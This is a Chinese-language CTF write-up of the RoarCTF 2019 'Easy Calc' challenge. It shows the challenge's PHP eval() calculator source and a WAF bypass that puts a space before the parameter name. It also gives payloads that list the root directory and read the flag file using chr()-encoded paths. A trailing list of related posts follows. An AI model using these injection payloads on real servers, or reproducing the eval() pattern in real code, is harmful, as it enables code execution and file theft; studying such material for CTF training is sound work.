[RoarCTF 2019]Easy Calc
发现一个计算器,随意输入1+2
有回显,f12查看源码,发现网站设置了waf,并且发现了calc.php以及url给的提示
直接读取calc.php,得到源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
审计代码可得,我们需要传入num,过滤黑名单中的字符,最终输出eval。当我们输入字符的时候,计算器是报错的
对于waf不允许num传递字母,我们可以再num前面加空格来绕过,这样的话waf就找不到我们上传的num,因为现在的num的名字为“ num”,但是在php解析的时候,php会将空格去掉,这样去掉空格后代码还是正常的
有正确的回显,进入phpinfo查看一下
发现禁用了大量的函数,接下来利用var_dump()函数(PHP var_dump() 函数 | 菜鸟教程)和scandir()函数(PHP scandir() 函数 | 菜鸟教程)来读取一下目录,payload:? num=var_dump(scandir(chr(47))),相当于?num=system(ls /),chr(47)="/"
发现了f1agg,读取文件用到file_get_contents()函数(PHP file_get_contents() 函数 | 菜鸟教程),payload:? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)),相当于? num=file_get_contents(/f1agg)即? num=system(cat /f1agg)
[RoarCTF 2019]Easy Calc相关推荐
- [极客大挑战 2019]Knife [RoarCTF 2019]Easy Calc
一句话直接连. 一个计算器随便试一试,当输入字母时会报错.查看网页源码,在script中发现了运行计算器的php文件:calc.php,但是也有一句很重要的注释 <!--I've set up ...
- 【BUUCTF】------web之 [RoarCTF 2019]Easy Calc
打开连接 随便输入1+1 没什么信息 F12 发现俩个点:1:设置了waf 2.calc.php 那么 访问 http://node3.buuoj.cn:28064/calc.php 得到 <? ...
- CTF学习笔记——Easy Calc
一.[RoarCTF 2019]Easy Calc 1.题目 2.解题步骤 发现框框-应该是注入题-源码中提示有个waf,继续看源码,发现有个calc.php,进去看看 初步理解应该是用num传参,然 ...
- BUUCTF msic 专题(115)[安洵杯 2019]easy misc
下载附件,有三个文件,依次查看 图片中发现了两个IEND证明应该有两张图片拼成了这一张,进行foremost 发现有两张一样的图片,stegsolve查看分离出的图片 很明显的盲水印,用blindwa ...
- 新手入门Web安全学习Week7
1.[极客大挑战 2019]Knife 这个怕是签到题 真·白给 根目录找到flag 2.[极客大挑战 2019]Http http类的题目,直接打开burp 看见有个secret 需要修改头 Ref ...
- BUUCTF持续更新中
目录 [HCTF 2018]WarmUp [强网杯 2019]随便注 [SUCTF 2019]EasySQL [GYCTF2020]Blacklist [GKCTF2020]cve版签到 GXYCTF ...
- buuctf web1
目录 [极客大挑战 2019]EasySQL [HCTF 2018]WarmUp [极客大挑战 2019]Havefun [ACTF2020 新生赛]Include [强网杯 2019]随便注 [SU ...
- BUUCTF-WEB(1-16)
BUUCTF-WEB(1-16) 1.[HCTF 2018]WarmUp 根据点开靶机时的一个提示:代码审计,可知主要考察代码审计,在点开靶机之后,出现了一个滑稽表情,右键检查网页源码,发现在图片 ...
- BUUWeb刷题记录
[极客大挑战 2019]EasySQL 一.本题做题思路 本题打开后是一个登录网站,结合题目所给提示,考虑应该是SQL注入 看一下源代码,发现是get传参,和要加上check.php 判断下闭合方式, ...
最新文章
- golang中的信号
- EL表达式中fn函数(转载)
- 一款非常简约好看的白色网格个人引导页HTML源码
- 队列:先入先出的数据结构讲解
- 对于electron-react-boilerplate(ERB)的学习笔记(legacy)
- Java中找出s字符串的回文_给定一个字符串 s,找到 s 中最长的回文子串。
- linux alias命令
- 用vue写一个仿简书的轮播图
- centos7通过阿里云配置docker加速镜像
- 各种电子书格式及优缺点
- 嵌入式linux快速入门
- matlab生成浮雕灰度图,将照片做成浮雕灰度图
- PS完美抠取头发丝----更换证件照背景完美去白边/蓝边/红边-----超实用方法
- em表示什么长度单位_CSS的长度单位(em)与em标签
- 马云为何学计算机,IT大佬高考:李彦宏是状元 马云数学仅1分
- 最小均方算法二分类(基于双月数据集)
- luogu1091合唱队形
- 四川多多开店:拼多多如何获取好的评价
- 选型笔记之二极管选型
- Linux版本的mcnp6,Initial MCNP6 release overview. MCNP6 version 0.1
热门文章
- 基于Android Studio开发的笔记APP
- Windows下桌面便签小工具--StickyPad简单使用教程(非StickyNotes)
- python两个数组合并排序_合并Python中的排序数组
- Hadoop系列(一)——HDFS总结
- oracle如何打开控制文件,看一看oracle控制文件里面的内容
- 数值计算笔记之数值积分(一)
- VBA-合并多个工作簿
- [TOG2020](综述)3D Morphable Face Models—Past, Present, and Future
- COSMOS认证辅导,真正的有机护肤品首先要是天然植物成分,不受转基因和人工化学添加的影响
- Python自动检查哪位学生未提交作业